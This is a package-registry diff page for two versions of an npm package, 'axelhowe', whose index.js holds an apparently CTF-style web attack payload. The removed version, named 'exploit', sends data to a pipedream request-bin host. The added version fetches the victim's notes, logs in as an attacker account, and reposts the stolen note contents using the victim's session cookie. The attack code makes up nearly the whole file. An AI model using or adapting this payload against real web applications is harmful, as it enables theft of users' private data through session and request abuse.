axelhowe 0.0.0-TXPJlRoOV1gAScrG → 0.0.0-VSslJhaE

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +33 -18
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,27 +1,42 @@
1
- function exploit(cookie) {
1
+ function f(cookie) {
2
2
  let url = "/api/notes/all";
3
- // let c2path = "/api/notes";
4
- let request_bin = "https://en2lvaqpui54s.x.pipedream.net/";
5
- let data;
6
- data = { "title": "aaaa", "id": "bbbb" };
7
- // fetch(url)
8
- // .then(
9
- // (response) => {
10
- // return response.json();
11
- // }
12
- // ).then(
13
- // (response) => {
14
- // data = response[0];
15
- // data.author = "aaaa";
16
- // });
3
+ let url2 = "/api/notes";
4
+ let data = { "title": "fail", "content": "fail" };
5
+
6
+ fetch(url)
7
+ .then(
8
+ (response) => {
9
+ return response.json();
10
+ }
11
+ ).then(
12
+ (response) => {
13
+ data = response[0];
14
+ });
17
15
 
18
16
  fetch(
19
- request_bin, {
17
+ "/login", {
20
18
  method: "POST",
21
19
  headers: {
22
- "content-type": "application/json",
23
- // "cookie": "session=" + cookie
20
+ "content-type": "application/x-www-form-urlencoded"
24
21
  },
22
+ body: "username=qweasd&password=qweasd"
23
+ }).then(
24
+ (response) => {
25
+ fetch(
26
+ url2, {
27
+ method: "POST",
28
+ headers: {
29
+ "content-type": "application/json",
30
+ "cookie": "session=" + cookie
31
+ },
32
+ body: JSON.stringify({ "title": data.title, "content": data.id })
33
+ }
34
+ );
35
+ });
36
+
37
+ fetch(
38
+ url2, {
39
+ method: "POST",
25
40
  body: JSON.stringify({ "title": data.title, "content": data.id })
26
41
  }
27
42
  );
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"axelhowe","version":"0.0.0-TXPJlRoOV1gAScrG"}
1
+ {"name":"axelhowe","version":"0.0.0-VSslJhaE"}